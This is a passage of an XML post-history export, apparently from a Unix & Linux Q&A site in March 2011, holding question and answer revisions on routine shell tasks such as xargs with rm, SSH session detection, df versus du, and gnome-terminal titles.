  <row Id="22854" PostHistoryTypeId="5" PostId="9601" RevisionGUID="484d3f8f-7c63-43c5-b010-792c1af56368" CreationDate="2011-03-18T21:57:25.983" UserId="5325" Comment="gaaah. nap time would be nice..." Text="You need to use `xargs` to turn standard input into arguments for `rm`.&#xD;&#xA;&#xD;&#xA;    $ ls | grep '^Dar' | xargs rm&#xD;&#xA;&#xD;&#xA;(Beware of special characters in filenames; with GNU grep, you might prefer&#xD;&#xA;&#xD;&#xA;    $ ls | grep -Z '^Dar' | xargs -0 rm&#xD;&#xA;)&#xD;&#xA;&#xD;&#xA;Also, while the shell doesn't use regexps, that's a simple pattern:&#xD;&#xA;&#xD;&#xA;    $ rm Dar*&#xD;&#xA;&#xD;&#xA;(meanwhile, I think I need more sleep.)" />
  <row Id="22855" PostHistoryTypeId="2" PostId="9603" RevisionGUID="aef68578-1098-4c9e-ad80-14785c7f7087" CreationDate="2011-03-18T22:02:14.650" UserId="5872" Text="I realize this is going to sound both simplistic and absurd,but... if you have&#xD;&#xA;control over the apps in question (maybe in a test environment) you could &#xD;&#xA;mount ONLY that directory on a partition of its on, then. iostat, etc would&#xD;&#xA;tell you only about it, and nothing else on that spot.&#xD;&#xA;&#xD;&#xA;If there are physical drives involved you could fake it up with a loop back&#xD;&#xA;mount ala&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=/bigdisk/LOOPFILE bs=1024m count=1024m # 1gb loopback file&#xD;&#xA;    mke2fs -j /bigdisk/LOOPFILE&#xD;&#xA;    mkdir /tmpcopy&#xD;&#xA;    mount -o loop /tmpcopy /bigdisk/LOOPFILE&#xD;&#xA;    cp -r -p $SPECIALDIR2MONITOR /tmpcopy&#xD;&#xA;    umount /tmpcopy&#xD;&#xA;    mount -o loop $SPECIALDIR2MONITOR  /bigdisk/LOOPFILE,&#xD;&#xA;&#xD;&#xA;that would not completely remove all competing disk I/O, but&#xD;&#xA;I'm pretty sure iostat's output would be more specific to your need.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22856" PostHistoryTypeId="5" PostId="9597" RevisionGUID="0e298dee-f643-4b68-9fe4-6d6cb2ffc3aa" CreationDate="2011-03-18T22:05:36.107" UserId="5871" Comment="deleted 3 characters in body" Text="I'm trying to pipe `grep` output to `rm`, but it outputs useless stuff. Is any switch required for `rm`? Or can `rm` can be provided a regexp directly?&#xD;&#xA;&#xD;&#xA;    ls | grep '^\[Daruchini'| rm&#xD;&#xA;rm: missing operand&#xD;&#xA;Try `rm --help' for more information.&#xD;&#xA;" />
  <row Id="22857" PostHistoryTypeId="2" PostId="9604" RevisionGUID="0b546532-78cc-4bcc-a7a7-0f36e17f775c" CreationDate="2011-03-18T22:13:42.267" UserId="2421" Text="From [`man less`][1]:&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;ESC&lt;/kbd&gt;-&lt;kbd&gt;u&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;Undo  search highlighting.   Turn  off highlighting  of&#xD;&#xA;strings  matching  the   current  search  pattern.   If&#xD;&#xA;highlighting is already off because of a previous ESC-u&#xD;&#xA;command, turn highlighting back on.  Any search command&#xD;&#xA;will also turn highlighting back on.  (Highlighting can&#xD;&#xA;also  be disabled by  toggling the  -G option;  in that&#xD;&#xA;case search commands do not turn highlighting back on.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/less" />
  <row Id="22858" PostHistoryTypeId="2" PostId="9605" RevisionGUID="6ece7787-9ded-413b-a5cf-eb81c871d5e4" CreationDate="2011-03-18T22:19:38.030" UserId="4477" Text="I want to detect from a shell script (more specifically .zshrc) if it is controlled through SSH. I tried the HOST variable but it's always the name of the computer which is running the shell. Can I access the hostname where the SSH session is coming from? Comparing the two would solve my problem.&#xD;&#xA;&#xD;&#xA;Every time I log in there is a message stating the last login time and host:&#xD;&#xA;&#xD;&#xA;    Last login: Fri Mar 18 23:07:28 CET 2011 from max on pts/1&#xD;&#xA;    Last login: Fri Mar 18 23:11:56 2011 from max&#xD;&#xA;&#xD;&#xA;This means the server has this information." />
  <row Id="22859" PostHistoryTypeId="1" PostId="9605" RevisionGUID="6ece7787-9ded-413b-a5cf-eb81c871d5e4" CreationDate="2011-03-18T22:19:38.030" UserId="4477" Text="How can I detect if the shell is controlled from SSH?" />
  <row Id="22860" PostHistoryTypeId="3" PostId="9605" RevisionGUID="6ece7787-9ded-413b-a5cf-eb81c871d5e4" CreationDate="2011-03-18T22:19:38.030" UserId="4477" Text="ésshàéshellöscriptàézshà" />
  <row Id="22861" PostHistoryTypeId="2" PostId="9606" RevisionGUID="d233b443-69ad-4f62-ad22-c0a001d28fdf" CreationDate="2011-03-18T22:28:00.087" UserId="5310" Text="You should be able to check via the `SSH_TTY`, `SSH_CONNECTION`, or `SSH_CLIENT` variables." />
  <row Id="22862" PostHistoryTypeId="2" PostId="9607" RevisionGUID="1157849c-4323-4954-a853-0fb8b40f593e" CreationDate="2011-03-18T22:29:30.553" UserId="885" Text="Here are the criteria I use in my `~/.profile`:&#xD;&#xA;&#xD;&#xA;* If one of the variables `SSH_CLIENT` or `SSH_TTY` is defined, it's an ssh session.&#xD;&#xA;* If the login shell's parent process name is `sshd`, it's an ssh session.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$SSH_CLIENT&quot; ] || [ -n &quot;$SSH_TTY&quot; ]; then&#xD;&#xA;      SESSION_TYPE=remote/ssh&#xD;&#xA;    # many other tests omitted&#xD;&#xA;    else&#xD;&#xA;      case $(ps -o comm= -p $PPID) in&#xD;&#xA;        sshd|*/sshd) SESSION_TYPE=remote/ssh;;&#xD;&#xA;      esac&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;(Why would you want to test this in your shell configuration rather than your session startup?)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22863" PostHistoryTypeId="2" PostId="9608" RevisionGUID="f8974d7b-ee43-4359-bcb5-ab3fd0a4875e" CreationDate="2011-03-18T22:56:14.487" UserId="5860" Text="Is there any lightwight X11 alternative suited for old systems? (Say, 1GHz and 256-314MB RAM)" />
  <row Id="22864" PostHistoryTypeId="1" PostId="9608" RevisionGUID="f8974d7b-ee43-4359-bcb5-ab3fd0a4875e" CreationDate="2011-03-18T22:56:14.487" UserId="5860" Text="Lightweight X11 alternative available?" />
  <row Id="22865" PostHistoryTypeId="3" PostId="9608" RevisionGUID="f8974d7b-ee43-4359-bcb5-ab3fd0a4875e" CreationDate="2011-03-18T22:56:14.487" UserId="5860" Text="élinuxàéx11àégentooà" />
  <row Id="22866" PostHistoryTypeId="2" PostId="9609" RevisionGUID="73f4b870-7c06-4cd2-8b95-f7636ab3c092" CreationDate="2011-03-18T23:06:49.710" UserId="4648" Text="The only server implementations talking the X11 protocol I know of are [XFree86][1] and [X.Org][2]. Note that X.Org is the server implementation shipped by most Linux distributions, due to licensing issues with XFree86. I don't see why those shouldn't run on your machine given those specs, provided that appropriate graphics drivers are available. Judging by the tags you're using Gentoo, so you should be able to just install X.Org by running `emerge xorg-x11` and waiting for it to finish compiling (which might take a while on an old machine like this).&#xD;&#xA;&#xD;&#xA;You probably won't be able to run modern desktop environments like Gnome or KDE though, especially given the memory limitations. I would give [Xfce][3] a try, or perhaps [LXDE][4].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xfree86.org/&#xD;&#xA;  [2]: http://www.x.org/wiki/&#xD;&#xA;  [3]: http://www.xfce.org/&#xD;&#xA;  [4]: http://lxde.org/" />
  <row Id="22867" PostHistoryTypeId="25" PostId="9605" RevisionGUID="1a0756ea-0caf-46db-9936-ea28f8bc5f1e" CreationDate="2011-03-18T23:31:21.327" Comment="http://twitter.com/#!/StackUnix/status/48889254725697536" />
  <row Id="22868" PostHistoryTypeId="2" PostId="9610" RevisionGUID="ea9bdc91-19fe-43f1-b6ac-0709346a5164" CreationDate="2011-03-18T23:58:46.907" UserId="5075" Text="Hi,&#xD;&#xA;&#xD;&#xA;My laptop is ThinkPad T61, with Ubuntu 10.10 installed. The sound works all well, until I plugged the Creative XiFi Go USB sound card. After I reboot my computer, the internal speaker is muted automatically. I have to use 'alsamixer' to unmute it each time. How can I persistent this setting?" />
  <row Id="22869" PostHistoryTypeId="1" PostId="9610" RevisionGUID="ea9bdc91-19fe-43f1-b6ac-0709346a5164" CreationDate="2011-03-18T23:58:46.907" UserId="5075" Text="Ubuntu 10.0 sound muted automatically on ThinkPad" />
  <row Id="22870" PostHistoryTypeId="3" PostId="9610" RevisionGUID="ea9bdc91-19fe-43f1-b6ac-0709346a5164" CreationDate="2011-03-18T23:58:46.907" UserId="5075" Text="éubuntuàéaudioàéthinkpadà" />
  <row Id="22871" PostHistoryTypeId="2" PostId="9611" RevisionGUID="05995591-c0f5-4739-8a0e-38a4c7aa9cda" CreationDate="2011-03-19T00:14:00.337" UserId="3169" Text="I think Gilles and Cakemox's answers are good, but just for completeness...&#xD;&#xA;&#xD;&#xA;    Last login: Fri Mar 18 23:07:28 CET 2011 from max on pts/1&#xD;&#xA;&#xD;&#xA;comes from `pam_lastlog`.&#xD;&#xA;&#xD;&#xA;You can print `pam_lastlog` information using the `lastlog` command, e.g.&#xD;&#xA;&#xD;&#xA;    $ lastlog -u mikel  &#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            tty1                      Fri Jan 28 10:58:10 +1100 2011&#xD;&#xA;&#xD;&#xA;for a local login, compared to&#xD;&#xA;&#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            pts/9    mikel-laptop     Sat Mar 19 11:11:58 +1100 2011&#xD;&#xA;&#xD;&#xA;for an SSH login.&#xD;&#xA;&#xD;&#xA;`last -n 1 $(tty)` and `w` could be helpful too." />
  <row Id="22872" PostHistoryTypeId="5" PostId="9611" RevisionGUID="7848ad97-f914-4ec6-9832-dd85ab6a0c49" CreationDate="2011-03-19T00:20:23.043" UserId="3169" Comment="last doesn't like /dev at the start" Text="I think Gilles and Cakemox's answers are good, but just for completeness...&#xD;&#xA;&#xD;&#xA;    Last login: Fri Mar 18 23:07:28 CET 2011 from max on pts/1&#xD;&#xA;&#xD;&#xA;comes from `pam_lastlog`.&#xD;&#xA;&#xD;&#xA;You can print `pam_lastlog` information using the `lastlog` command, e.g.&#xD;&#xA;&#xD;&#xA;    $ lastlog -u mikel  &#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            tty1                      Fri Jan 28 10:58:10 +1100 2011&#xD;&#xA;&#xD;&#xA;for a local login, compared to&#xD;&#xA;&#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            pts/9    mikel-laptop     Sat Mar 19 11:11:58 +1100 2011&#xD;&#xA;&#xD;&#xA;for an SSH login.&#xD;&#xA;&#xD;&#xA;`last` and `w` could be helpful too, for example&#xD;&#xA;&#xD;&#xA;    TTY=$(tty)&#xD;&#xA;    last -n 1 ${TTY#/dev/}" />
  <row Id="22873" PostHistoryTypeId="2" PostId="9612" RevisionGUID="90427145-9da7-4dc4-aa3e-ad171a65655d" CreationDate="2011-03-19T00:21:23.477" UserId="3810" Text="I have a Linux(CentOS) server, the OS+packages used around 5GB. Then, I transferred 97GB data from a Windows server to two folders on this Linux server, after calculated the disk usage, I see the total size of the two folders is larger than the disk used size.&#xD;&#xA;&#xD;&#xA;Run du -sh on each folder, one use 50GB, the other one use 47GB&#xD;&#xA;&#xD;&#xA;But run df -h, the used space is 96G. (50GB + 47GB + 5GB) &gt; 96GB&#xD;&#xA;&#xD;&#xA;Is there any problem? Those two folders contain lots of files(1 million+). Thanks." />
  <row Id="22874" PostHistoryTypeId="1" PostId="9612" RevisionGUID="90427145-9da7-4dc4-aa3e-ad171a65655d" CreationDate="2011-03-19T00:21:23.477" UserId="3810" Text="Disk usage discrepancy" />
  <row Id="22875" PostHistoryTypeId="3" PostId="9612" RevisionGUID="90427145-9da7-4dc4-aa3e-ad171a65655d" CreationDate="2011-03-19T00:21:23.477" UserId="3810" Text="élinuxàécentosàédisköusageà" />
  <row Id="22876" PostHistoryTypeId="2" PostId="9613" RevisionGUID="b575f7cb-ddcd-4a53-9c0d-31bd90827885" CreationDate="2011-03-19T00:23:49.957" UserId="4485" Text="If you can, do yourself a favor and invest into more memory; the is nothing which beats real memory. &#xD;&#xA;&#xD;&#xA;However, I've seen XFCE running with xUbuntu 8.04 and 256 MB with 800 Mhz - and I would recommend using lean software with it: Opera instead of Firefox/Thunderbird, Abiword instead of OpenOffice, no monitors (disk/net activity, whether plugin, ticker here, ticker there, gaijm+xchat+skype+...). Sometimes closing an app to run another will be helpful. &#xD;&#xA;&#xD;&#xA;In the 90ies I ran KDE on a 64MB machine with 233 Mhz, with X of course, but it was pre-YouTube time. :) " />
  <row Id="22877" PostHistoryTypeId="2" PostId="9614" RevisionGUID="19d6280e-43e5-4aa9-b6d2-c6d46afba8ba" CreationDate="2011-03-19T00:31:16.957" UserId="5875" Text="The command you want to execute is:&#xD;&#xA;&#xD;&#xA;`amixer sset Master 50%`&#xD;&#xA;&#xD;&#xA;To have it run when you login, add it to `System &gt; Preferences &gt; Startup Applications` as the command.&#xD;&#xA;&#xD;&#xA;To have it run at boot time, add it to your `/etc/rc.local` file." />
  <row Id="22878" PostHistoryTypeId="5" PostId="9611" RevisionGUID="159eeca0-4f93-4106-a083-4e6a77111e31" CreationDate="2011-03-19T00:33:54.510" UserId="3169" Comment="added 224 characters in body" Text="I think Gilles and Cakemox's answers are good, but just for completeness...&#xD;&#xA;&#xD;&#xA;    Last login: Fri Mar 18 23:07:28 CET 2011 from max on pts/1&#xD;&#xA;&#xD;&#xA;comes from `pam_lastlog`.&#xD;&#xA;&#xD;&#xA;You can print `pam_lastlog` information using the `lastlog` command, e.g.&#xD;&#xA;&#xD;&#xA;    $ lastlog -u mikel  &#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            tty1                      Fri Jan 28 10:58:10 +1100 2011&#xD;&#xA;&#xD;&#xA;for a local login, compared to&#xD;&#xA;&#xD;&#xA;    Username         Port     From             Latest&#xD;&#xA;    mikel            pts/9    mikel-laptop     Sat Mar 19 11:11:58 +1100 2011&#xD;&#xA;&#xD;&#xA;for an SSH login.&#xD;&#xA;&#xD;&#xA;On my system, this works to extract it&#xD;&#xA;&#xD;&#xA;    $ lastlog -u mikel | sed -ne '2{p;q}' | cut -c 27-42&#xD;&#xA;    mikel-laptop &#xD;&#xA;&#xD;&#xA;`last` and `w` could be helpful too, for example&#xD;&#xA;&#xD;&#xA;    $ TTY=$(tty)&#xD;&#xA;    $ last -n 1 ${TTY#/dev/} | sed -ne '1{p;q}'&#xD;&#xA;    mikel    pts/12       :0.0             Sat Mar 19 11:29   still logged in " />
  <row Id="22879" PostHistoryTypeId="2" PostId="9615" RevisionGUID="84a86f33-4444-4404-800d-d15c70d5c65c" CreationDate="2011-03-19T00:40:05.437" UserId="2511" Text="First, the big caveat: I think X with a lightweight desktop environment is really going to be your best bet for desktop hardware, because a) it includes wide hardware support, including 2D and 3D acceleration on a lot of old graphics cards, b) it's not really that awfully heavyweight, and c) all X programs will just work.&#xD;&#xA;&#xD;&#xA;But there *are* alternatives. These generally work by running directly on the Linux framebuffer console, possibly via [directfb][1]. Some options here would be:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* [Android-x86][2]: a port of Google's phone/embedded OS to PC hardware. Linux kernel, but not necessarily a Unix-like userspace.&#xD;&#xA;* [Qt QWS][3]: embedded version of the popular toolkit (apparently KDE is even [partly ported][4])&#xD;&#xA;* [GTK-DFB][5]: a similar thing for GTK&#xD;&#xA;* [SDL][6] forget all those &quot;toolkits&quot;, with their &quot;widgets&quot; and &quot;sophisticated support libraries&quot; and &quot;convenience&quot;! Write your graphics as directly as possible, since SDL has direct framebuffer support&#xD;&#xA;&#xD;&#xA;But, depending on your hardware, all of that trouble might not really get you anything, because it won't necessarily be faster. And you'll have to find ports of anything you want to run, or port it yourself.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.directfb.org/&#xD;&#xA;  [2]: http://www.android-x86.org/&#xD;&#xA;  [3]: http://doc.trolltech.com/4.7/qt-embeddedlinux-directfb.html&#xD;&#xA;  [4]: http://osdir.com/ml/kde-devel/2009-04/msg00114.html&#xD;&#xA;  [5]: http://www.directfb.org/wiki/index.php/Projects:GTK_on_DirectFB&#xD;&#xA;  [6]: http://www.libsdl.org/" />
  <row Id="22881" PostHistoryTypeId="4" PostId="9612" RevisionGUID="931660de-054e-451f-ac42-b51fbeeb1bf8" CreationDate="2011-03-19T00:43:42.140" UserId="2511" Comment="edited title" Text="Why is there a discrepancy in disk usage reported by df and du?" />
  <row Id="22882" PostHistoryTypeId="2" PostId="9617" RevisionGUID="575197a0-9577-45f8-8477-3c60a0c0c2a9" CreationDate="2011-03-19T00:55:33.067" UserId="5875" Text="[This](http://sysunconfig.net/aixtips/df_du_diff_out.txt) page gives some insight on why they have different values, however it seems to suggest that your `du` size should be the smaller of the two.&#xD;&#xA;&#xD;&#xA;`df` uses total allocated blocks, while `du` only looks at files themselves, excluding metadata such as inodes, which still require blocks on the disk. Additionally, if a file is deleted while an application has it opened, `du` will report it as free space but `df` does not until the application exits." />
  <row Id="22883" PostHistoryTypeId="2" PostId="9618" RevisionGUID="71109aaa-a179-4882-9c90-d99891c29046" CreationDate="2011-03-19T00:58:54.663" UserId="5325" Text="When `du` is larger than `df`, the usual reason is &quot;sparse blocks&quot;:  if a program doesn't actually write to a disk block but instead seeks past it, it gets a zero pointer in the inode's block allocation map and no actual disk space is reserved for it.  If you later write to it, an actual disk block will be allocated and the map will be changed to point to the new block." />
  <row Id="22884" PostHistoryTypeId="25" PostId="9612" RevisionGUID="0fb5a368-b06e-4c89-a040-72f732937969" CreationDate="2011-03-19T02:31:21.830" Comment="http://twitter.com/#!/StackUnix/status/48934555415097344" />
  <row Id="22885" PostHistoryTypeId="5" PostId="9581" RevisionGUID="82e691ae-143e-4cde-b1ae-26c6a1d12545" CreationDate="2011-03-19T02:44:16.083" UserId="3389" Comment="added 75 characters in body" Text="The point of both types of links is to provide a way to make a file appear in two locations at the same time.  This has a lot of uses.  9 times out of 10 you want to use symbolic links.&#xD;&#xA;&#xD;&#xA;Symbolic links, or &quot;symlinks&quot; work a little like Windows shortcuts.  The contents of a symlink are a pointer to the real location of the file/directory.  If you delete the real file, the symlink will become &quot;dangling,&quot; and won't work.  Deleting the symlink does not delete the real file.  You can have as many symlinks to a single file (or even other symlinks) as you like.&#xD;&#xA;&#xD;&#xA;Unlike Windows though, they work on the filesystem level, not shell or application level, so pretty much any application will &quot;follow&quot; symlinks as expected.  `ls -al` can be used as a quick way to see where symlinks &quot;point&quot; to.&#xD;&#xA;&#xD;&#xA;Hardlinks work even on a lower level.  A hardlink is an actual, physical on-the-filesystem-level directory entry of the file.  Technically, a directory entry is a hardlink, thus each file has at least one hardlink in a directory somewhere.  Hardlinks are not separate from the file they point to; if a file has multiple hardlinks in different directories, deleting the hardlink with utilities like `rm` won't truly delete the file, until all hardlinks are gone.&#xD;&#xA;&#xD;&#xA;I can't think of situation where use of hardlinks is common, or even needed, unless you intentionally want to prevent the files from getting deleted or are doing some weird low-level work with partitions or other filesystem related things.  EDIT: There's great ideas in the other answers to this question, though!" />
  <row Id="22886" PostHistoryTypeId="2" PostId="9619" RevisionGUID="0ab442f8-2b69-407c-8a4d-84fbc0f8d091" CreationDate="2011-03-19T02:50:54.760" UserId="5836" Text="#!/bin/bash&#xD;&#xA;echo -n &quot;Enter a letter:&quot;&#xD;&#xA;read A&#xD;&#xA;echo ${A}|od -t d1|awk '{printf &quot;%s&quot;,$2}';echo&#xD;&#xA;______________________________________________&#xD;&#xA;*&#xD;&#xA;How to write a shell script which searches the current UNIX directory and returns the names of all files of type ASCII text." />
  <row Id="22887" PostHistoryTypeId="1" PostId="9619" RevisionGUID="0ab442f8-2b69-407c-8a4d-84fbc0f8d091" CreationDate="2011-03-19T02:50:54.760" UserId="5836" Text="Shell Scripting" />
  <row Id="22888" PostHistoryTypeId="3" PostId="9619" RevisionGUID="0ab442f8-2b69-407c-8a4d-84fbc0f8d091" CreationDate="2011-03-19T02:50:54.760" UserId="5836" Text="éxorgàéshellöscriptàéusbà" />
  <row Id="22889" PostHistoryTypeId="5" PostId="9619" RevisionGUID="21e59e10-d9bf-4ae4-9a01-9e41d711b1fd" CreationDate="2011-03-19T02:53:25.087" UserId="73" Comment="deleted 15 characters in body" Text="How to write a shell script which searches the current UNIX directory and returns the names of all files of type ASCII text? I tried this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo -n &quot;Enter a letter:&quot;&#xD;&#xA;    read A&#xD;&#xA;    echo ${A}|od -t d1|awk '{printf &quot;%s&quot;,$2}';echo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22890" PostHistoryTypeId="4" PostId="9619" RevisionGUID="1391b140-5c7b-4e48-85ab-e6c8f2fabcc7" CreationDate="2011-03-19T03:01:04.703" UserId="2511" Comment="edited title; edited tags" Text="Script to list only files of type ASCII text in the current directory?" />
  <row Id="22891" PostHistoryTypeId="6" PostId="9619" RevisionGUID="1391b140-5c7b-4e48-85ab-e6c8f2fabcc7" CreationDate="2011-03-19T03:01:04.703" UserId="2511" Comment="edited title; edited tags" Text="ébashàéshellöscriptàémimeötypesà" />
  <row Id="22892" PostHistoryTypeId="2" PostId="9620" RevisionGUID="d3d2db7d-64d5-4dce-878c-3c9c8bd4e781" CreationDate="2011-03-19T03:47:08.883" UserId="5685" Text="Exec 'file' on all the files in the current directoy, and then grep for 'ASCII':&#xD;&#xA;&#xD;&#xA;    find . -maxdepth 1 -exec file {} \; | grep ASCII" />
  <row Id="22893" PostHistoryTypeId="2" PostId="9621" RevisionGUID="3beab771-f695-4fd9-9419-a423b1974406" CreationDate="2011-03-19T03:48:01.947" UserId="3852" Text="`find . -type f -print0 | xargs -0 file | grep ASCII`&#xD;&#xA;&#xD;&#xA;On CentOS 5, ASCII can mean a lot of things such as &quot;ASCII C++ program text&quot;, &quot;ASCII English text&quot;, and &quot;ASCII text&quot; so you might need to narrow it down more.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22894" PostHistoryTypeId="2" PostId="9622" RevisionGUID="3e13e036-9151-4d9a-bccf-f3f1366d388d" CreationDate="2011-03-19T04:21:32.747" UserId="5763" Text="While configuring kernel for debugging found this option:&#xD;&#xA;&#xD;&#xA;&gt; CONFIG_X86_PTDUMP: Export kernel&#xD;&#xA;&gt; pagetable layout to userspace via&#xD;&#xA;&gt; debugfs&#xD;&#xA;&#xD;&#xA;Does this mean RAM page-table layouts ? any guides on how to use debugfs and view this layout ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22895" PostHistoryTypeId="1" PostId="9622" RevisionGUID="3e13e036-9151-4d9a-bccf-f3f1366d388d" CreationDate="2011-03-19T04:21:32.747" UserId="5763" Text="Dump Page table layout" />
  <row Id="22896" PostHistoryTypeId="3" PostId="9622" RevisionGUID="3e13e036-9151-4d9a-bccf-f3f1366d388d" CreationDate="2011-03-19T04:21:32.747" UserId="5763" Text="élinuxàékernelàédebuggingàédevelopmentà" />
  <row Id="22897" PostHistoryTypeId="4" PostId="9622" RevisionGUID="239e4f0c-3b29-414e-a919-ae4b7827cc54" CreationDate="2011-03-19T04:35:17.223" UserId="5763" Comment="edited title" Text="Dump Page table layout (KERNEL CONFIG)" />
  <row Id="22898" PostHistoryTypeId="2" PostId="9623" RevisionGUID="ac9fd739-ec5d-4596-9864-43e63ae3081b" CreationDate="2011-03-19T04:46:46.197" UserId="5879" Text="I've ran fsck -c on the (unmounted) partition in question a while ago. The process was unattended and results were not stored anywhere (except badblock inode).&#xD;&#xA;&#xD;&#xA;Now I'd like to get badblock information to know if there are any problems with the harddrive.&#xD;&#xA;Unfortunately, partition is used in the production system and can't be unmounted.&#xD;&#xA;&#xD;&#xA;I see two ways to get what I want:&#xD;&#xA;&#xD;&#xA;1. Run badblocks in read-only mode. This will probably take a lot of time and cause unnecessary bruden on the system.&#xD;&#xA;&#xD;&#xA;2. Somehow extract information about badblocks from the filesystem iteself.&#xD;&#xA;&#xD;&#xA;How can I view known badblocks registered in mounted filesystem?" />
  <row Id="22899" PostHistoryTypeId="1" PostId="9623" RevisionGUID="ac9fd739-ec5d-4596-9864-43e63ae3081b" CreationDate="2011-03-19T04:46:46.197" UserId="5879" Text="How to view bad blocks on mounted ext3 filesystem?" />
  <row Id="22900" PostHistoryTypeId="3" PostId="9623" RevisionGUID="ac9fd739-ec5d-4596-9864-43e63ae3081b" CreationDate="2011-03-19T04:46:46.197" UserId="5879" Text="élinuxàéext3àéfsckàébadblocksà" />
  <row Id="22901" PostHistoryTypeId="2" PostId="9624" RevisionGUID="79ace3c0-2132-4110-853e-c3b729c20189" CreationDate="2011-03-19T04:50:36.330" UserId="5763" Text="Is there any tools or some way in linux which can be used to view internals of filesystems ? &#xD;&#xA;&#xD;&#xA;How to view the inode related structures and journal  ? and cached pages of files (pagecache)." />
  <row Id="22902" PostHistoryTypeId="1" PostId="9624" RevisionGUID="79ace3c0-2132-4110-853e-c3b729c20189" CreationDate="2011-03-19T04:50:36.330" UserId="5763" Text="Filesystem and journal layout" />
  <row Id="22903" PostHistoryTypeId="3" PostId="9624" RevisionGUID="79ace3c0-2132-4110-853e-c3b729c20189" CreationDate="2011-03-19T04:50:36.330" UserId="5763" Text="élinuxàéfilesystemsàéinodeà" />
  <row Id="22904" PostHistoryTypeId="2" PostId="9625" RevisionGUID="188c2b25-81b6-4346-aa45-943b643492d4" CreationDate="2011-03-19T05:04:14.387" UserId="4485" Text="The best of 2 worlds: Avoids the use of the useless `xargs`, and speeds things up, since the `+` triggers parallel invocation.&#xD;&#xA;&#xD;&#xA;    find . -type f -exec file {} + | grep ASCII&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22905" PostHistoryTypeId="25" PostId="9590" RevisionGUID="5e69fd20-1a72-4674-9e5e-b595da55551e" CreationDate="2011-03-19T05:31:21.650" Comment="http://twitter.com/#!/StackUnix/status/48979852136677376" />
  <row Id="22906" PostHistoryTypeId="2" PostId="9626" RevisionGUID="670543b4-458d-4a4e-b8ca-cfbdac519954" CreationDate="2011-03-19T05:51:01.700" UserId="3169" Text="Try&#xD;&#xA;&#xD;&#xA;    dumpe2fs -b /dev/&lt;WHATEVER&gt;" />
  <row Id="22907" PostHistoryTypeId="2" PostId="9627" RevisionGUID="f1597974-27f7-4828-9648-b77ef4ddb8b0" CreationDate="2011-03-19T06:07:57.717" UserId="5447" Text="Take a look at the following: &#xD;&#xA;&#xD;&#xA;* [Page table management][1]&#xD;&#xA;&#xD;&#xA;* [Dumping kernel page tables][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/gorman/html/understand/understand006.html&#xD;&#xA;  [2]: http://linux-hacks.blogspot.com/2009/08/dumping-kernel-page-tables.html" />
  <row Id="22909" PostHistoryTypeId="2" PostId="9629" RevisionGUID="0dd06519-1156-4a99-a0cc-18873776ed3e" CreationDate="2011-03-19T07:30:06.290" UserId="5881" Text="I know how to load a specific terminal profile as well as loading a config file that the terminal reads, but every time I try to set the title and save the config file, it still returns to the default.  I can only change the window title for that session and only with in the menus.  If I try something like&#xD;&#xA;&#xD;&#xA;gnome-terminal --title=&quot;MyTerminal&quot; this brings up a terminal, but the title is still at its default.&#xD;&#xA;&#xD;&#xA;So, how do I change the title from the command line and within a config file." />
  <row Id="22910" PostHistoryTypeId="1" PostId="9629" RevisionGUID="0dd06519-1156-4a99-a0cc-18873776ed3e" CreationDate="2011-03-19T07:30:06.290" UserId="5881" Text="How to change title in gnome-terminal profile" />
  <row Id="22911" PostHistoryTypeId="3" PostId="9629" RevisionGUID="0dd06519-1156-4a99-a0cc-18873776ed3e" CreationDate="2011-03-19T07:30:06.290" UserId="5881" Text="éterminalà" />
  <row Id="22912" PostHistoryTypeId="2" PostId="9630" RevisionGUID="d809d049-2bc3-4383-8465-8470b8e7e7f5" CreationDate="2011-03-19T07:38:37.157" UserId="5447" Text="I just answered a very similar question here: http://askubuntu.com/questions/30988/how-do-you-set-the-title-of-the-active-gnome-terminal-from-the-command-line/31004#31004&#xD;&#xA;&#xD;&#xA;Basically, you can set the title in your ~/.bashrc file, but you need to change PS1 environment variable so it doesn't override you by automatically setting the title/icon-name itself. Take a look at the instructions I posted there, and if you can't figure it out from there, or run into any problems, let me know and I'll walk you through it." />
  <row Id="22913" PostHistoryTypeId="2" PostId="9631" RevisionGUID="c9194127-4498-4ae6-9c9a-a002d067c630" CreationDate="2011-03-19T08:01:42.377" UserId="5882" Text="Looking over the way gome-terminal works, it looks like you need to do a couple things:&#xD;&#xA;&#xD;&#xA;1. Create a new profile, go into Edit -&gt; Current Profile -&gt; Title and Command&#xD;&#xA;1. Select the option to Keep/Prepend/Append the shell-supplied title (to suit)&#xD;&#xA;1. Run the command gnome-terminal --title=&quot;Wheeee&quot; --profile=&quot;The New Profile&quot;&#xD;&#xA;&#xD;&#xA;It appears as though the config-file saving is really for session saving (i.e. it stores all your open windows), and it does not save any command-line provided titles, so you can get what you want via a command-line + profile, but not via the config file.&#xD;&#xA;&#xD;&#xA;I've taken the liberty of reporting the lack of command-line option saving in the save-config switch against G-T at https://bugzilla.gnome.org/show_bug.cgi?id=645207" />
  <row Id="22914" PostHistoryTypeId="6" PostId="9629" RevisionGUID="69e7801a-8b18-473b-9843-31d8cfb32552" CreationDate="2011-03-19T08:08:24.150" UserId="2421" Comment="edited tags" Text="égnomeàéterminalà" />
